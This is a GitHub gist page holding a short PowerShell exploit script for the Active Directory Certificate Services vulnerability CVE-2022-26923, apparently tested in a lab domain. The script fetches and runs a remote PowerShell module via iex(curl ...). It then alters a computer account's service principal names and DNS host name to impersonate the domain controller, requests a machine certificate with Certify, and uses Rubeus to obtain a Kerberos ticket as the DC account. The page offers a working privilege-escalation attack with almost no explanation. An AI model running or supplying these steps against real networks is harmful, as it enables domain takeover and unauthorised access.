Skip to content

Instantly share code, notes, and snippets.

@Wh04m1001

Wh04m1001/CVE-2022–26923.ps1

Last active June 23, 2023 10:09
Show Gist options
  • Save Wh04m1001/355c0f697bfaaf6546e3b698295d1aa1 to your computer and use it in GitHub Desktop.
Save Wh04m1001/355c0f697bfaaf6546e3b698295d1aa1 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
CVE-2022–26923.ps1
iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )
Import-ActiveDirectory
Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose
#in my testing i had to set dnshostname to $null first
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local
.\Certify.exe request /ca:DC1.batcave.local\batcave-DC1-CA /template:Machine /machine
#linux
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /certificate:cert.pfx /user:dc1$
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment